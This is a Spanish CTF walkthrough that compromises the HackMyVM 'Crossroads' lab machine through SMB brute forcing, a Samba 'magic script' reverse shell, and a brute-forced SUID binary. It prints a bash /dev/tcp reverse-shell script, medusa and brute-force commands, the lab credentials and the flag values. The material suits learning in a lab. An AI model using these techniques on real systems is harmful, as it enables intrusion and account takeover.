Crossroads HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 03:19 EDT
Nmap scan report for 192.168.5.25
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:DD:A2:63 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: CROSSROADS
Host script results:
|_clock-skew: mean: 1h40m02s, deviation: 2h53m12s, median: 2s
| smb2-time:
| date: 2025-05-21T07:19:36
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: crossroads
| NetBIOS computer name: CROSSROADS\x00
| Domain name: \x00
| FQDN: crossroads
|_ System time: 2025-05-21T02:19:37-05:00
|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds
Veremos que solo hay un puerto 80
en el que esta alojada una pagina web y un servidor SMB
por lo que vamos a ver que contiene dicha pagina web, si entramos dentro veremos una especie de pagina web como para reservar una villa en alguna playa, pero nada mas interesante, por lo que vamos a realizar un poco de fuzzing
a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.25/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 93075]
/.php (Status: 403) [Size: 277]
/robots.txt (Status: 200) [Size: 42]
/note.txt (Status: 200) [Size: 108]
/.php (Status: 403) [Size: 277]
/.html (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
Progress: 525649 / 882244 (59.58%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 525649 / 882244 (59.58%)
===============================================================
Finished
===============================================================
Veremos varias cosas interesantes, vamos a probar a entrar en alguna de ellas a ver si vemos algo interesante.
Veremos varias cosas, pero ninguna que nos llame la atencion, por lo que no veremos nada interesante, vamos a enumerar el servidor SMB
a ver que vemos.
enum4linux
enum4linux -a <IP>
Info:
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed May 21 03:25:28 2025
=========================================( Target Information )=========================================
Target ........... 192.168.5.25
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on 192.168.5.25 )============================
[+] Got domain/workgroup name: WORKGROUP
================================( Nbtstat Information for 192.168.5.25 )================================
Looking up status of 192.168.5.25
CROSSROADS <00> - B <ACTIVE> Workstation Service
CROSSROADS <03> - B <ACTIVE> Messenger Service
CROSSROADS <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
===================================( Session Check on 192.168.5.25 )===================================
[+] Server 192.168.5.25 allows sessions using username '', password ''
================================( Getting domain SID for 192.168.5.25 )================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
===================================( OS information on 192.168.5.25 )===================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.5.25 from srvinfo:
CROSSROADS Wk Sv PrQ Unx NT SNT Samba 4.9.5-Debian
platform_id : 500
os version : 6.1
server type : 0x809a03
=======================================( Users on 192.168.5.25 )=======================================
index: 0x1 RID: 0x3e9 acb: 0x00000010 Account: albert Name: Desc:
user:[albert] rid:[0x3e9]
=================================( Share Enumeration on 192.168.5.25 )=================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
smbshare Disk
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP CROSSROADS
[+] Attempting to map shares on 192.168.5.25
//192.168.5.25/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.5.25/smbshare Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.5.25/IPC$ Mapping: N/A Listing: N/A Writing: N/A
============================( Password Policy Information for 192.168.5.25 )============================
[+] Attaching to 192.168.5.25 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] CROSSROADS
[+] Builtin
[+] Password Info for Domain: CROSSROADS
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
=======================================( Groups on 192.168.5.25 )=======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
==================( Users on 192.168.5.25 via RID cycling (RIDS: 500-550,1000-1050) )==================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-5-21-198007098-3908253677-2746664996 and logon username '', password ''
S-1-5-21-198007098-3908253677-2746664996-501 CROSSROADS\nobody (Local User)
S-1-5-21-198007098-3908253677-2746664996-513 CROSSROADS\None (Domain Group)
S-1-5-21-198007098-3908253677-2746664996-1001 CROSSROADS\albert (Local User)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\albert (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
===============================( Getting printer info for 192.168.5.25 )===============================
No printers returned.
enum4linux complete on Wed May 21 03:25:57 2025
Vemos que hay un usuario registrado en el sistema que se llama albert
vamos a probar a realizar fuerza bruta
con dicho usuario mediante el servidor SMB
con la herramienta medusa
.
medusa -u albert -P <WORDLIST> -h <IP> -M smbnt
Info:
2025-05-21 03:34:18 ACCOUNT FOUND: [smbnt] Host: 192.168.5.25 User: albert Password: bradley1 [SUCCESS (ADMIN$ - Share Unavailable)]
Veremos que hemos encontrado las credenciales del usuario albert
por lo que vamos a enumerar el servidor SMB
a ver que vemos.
smbclient -L //<IP>/ -U albert%bradley1
Info:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
smbshare Disk
IPC$ IPC IPC Service (Samba 4.9.5-Debian)
albert Disk Home Directories
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP CROSSROADS
Veremos que hay un recurso compartido llamado de la misma forma que la del usuario, vamos a probar a meternos en dicho recurso.
Escalate user albert
smbclient //<IP>/albert -U albert%bradley1
Veremos que efectivamente estaremos dentro y si listamos veremos lo siguiente:
. D 0 Tue Mar 2 18:16:15 2021
.. D 0 Tue Mar 2 17:00:47 2021
smbshare D 0 Tue Mar 2 17:16:13 2021
crossroads.png N 1583196 Tue Mar 2 17:34:03 2021
beroot N 16664 Tue Mar 2 18:02:41 2021
user.txt N 32 Tue Mar 2 18:15:18 2021
4000320 blocks of size 1024. 3759668 blocks available
Vemos que hay un directorio llamado smbshare
y si entramos dentro veremos un archivo llamado smb.conf
esto es bastante interesante ya que podremos ver la configuracion del servidor SMB
y eso es una vulnerabilidad.
Si leemos dicho archivo veremos lo siguiente:
.............................<RESTO_DE_CODIGO>....................................
[smbshare]
path = /home/albert/smbshare
valid users = albert
browsable = yes
writable = yes
read only = no
magic script = smbscript.sh
guest ok = no
Vemos que hay establecido un magic script
esto lo que hace es que cuando alguien se conecta a un servidor SMB
este mismo se ejecuta de forma automatica, por lo que podremos insertar codigo malicioso creado el script con dicho nombre y conectarnos por SMB
de nuevo para que lo ejecute el servidor.
smbscript.sh
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
Teniendo el archivo lo que vamos hacer es ponernos a la escucha ya directamente.
nc -lvnp <PORT>
Ahora vamos a conectarnos con el otro servidor compartido llamado smbshare
.
smbclient //<IP>/smbshare -U albert%bradley1
Una vez echo esto, vamos a subir el archivo magico de esta forma:
put smbscript.sh
Ahora si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.25] 46188
bash: cannot set terminal process group (539): Inappropriate ioctl for device
bash: no job control in this shell
albert@crossroads:/home/albert/smbshare$ whoami
whoami
albert
Veremos que ha funcionado por lo que sanitizaremos la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Echo esto vamos a leer la flag
del usuario.
user.txt
912D12370BBCEA67BF28B03BCB9AA13F
Escalate Privileges
Si listamos los binario con permisos SUID
que hay en el sistema veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
25269 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
21909 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
16365 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
81 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
4028 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
76 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
4030 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
3547 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
3694 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
79 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
77 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
129282 20 -rwsr-xr-x 1 root root 16664 Mar 2 2021 /home/albert/beroot
Vemos una linea bastante interesante que es la siguiente:
129282 20 -rwsr-xr-x 1 root root 16664 Mar 2 2021 /home/albert/beroot
Vemos que en la propia home
del usuario albert
el binario beroot
tiene permisos SUID
vamos a ver que hace dicho archivo.
Si lo ejecutamos:
./beroot
Info:
enter password for root
-----------------------
password: test
wrong password!!!
Veremos que tendremos que poner como una contraseña de root
o algo parecido, pero no podremos saberlo, por lo que vamos a probar a decompilar el codigo con la herramienta ghidra
a ver que vemos.
En la maquina host.
ghidra
Crearemos un nuevo proyecto, le daremos al dragon verde y se nos habria una interfaz donde podremos importar el binario, nos pasaremos el binario de la maquina victima a la host mediante un servidor de python3
.
python3 -m http.server
Desde el host.
wget http://<IP>:8000/beroot
Echo esto nos importaremos el binario en el espacio de trabajo de ghidra
, lo analizamos y veremos lo siguiente:

Vemos que el main
esta ejecutando el script que se encuentra en /root/beroot.sh
por lo que no podremos saber que hace realmente dicho binario por dentro ya que lo esta ejecutando desde otro binario.
No nos queda otra que realizar fuerza bruta
a dicho binario para sacarle la contraseña.
forceBinary.py
#!/bin/python3
import subprocess
def brute_force_beroot(dictionary_path, binary_path):
with open(dictionary_path, "r", encoding="latin-1") as f:
passwords = [line.strip() for line in f]
for password in passwords:
try:
# Ejecutar el binario y pasar la contraseña
result = subprocess.run(
[binary_path],
input=password + "\n",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True,
timeout=2 # evitar cuelgues si el binario se queda esperando
)
output = result.stdout + result.stderr
# Verificamos si no contiene el mensaje de contraseña incorrecta
if "wrong password!!!" not in output.lower():
print(f"[+] Contraseña encontrada: {password}")
print("[+] Salida del programa:")
print(output)
break
else:
print(f"[-] Intento fallido: {password}")
except subprocess.TimeoutExpired:
print(f"[!] Timeout con: {password}")
except Exception as e:
print(f"[!] Error con '{password}': {e}")
if __name__ == "__main__":
brute_force_beroot("rockyou.txt", "./beroot")
Lo guardamos y nos pasamos el rockyou.txt
del host
a la maquina victima, mediante un servidor de python3
, una vez que lo hayamos echo ejecutaremos el script de esta forma teniendo el rockyou.txt
en el mismo directorio.
chmod +x forceBinary.py
python3 forceBinary.py
Info:
enter password for root
-----------------------
do ls and find root creds
Veremos que hemos encontrado la contraseña despues de un rato, nos comenta que leeamos dicho archivo:
cat rootcreds
Info:
root
___drifting___
Veremos que la contraseña es ___drifting___
vamos a probarla:
su root
Metemos como contraseña ___drifting___
y veremos que estamos dentro.
Info:
root@crossroads:/home/albert# whoami
root
Por lo que vamos a leer la flag
del usuario root
.
root.txt
876F96716C3606B09A89F0FA3C1D52EB
Last updated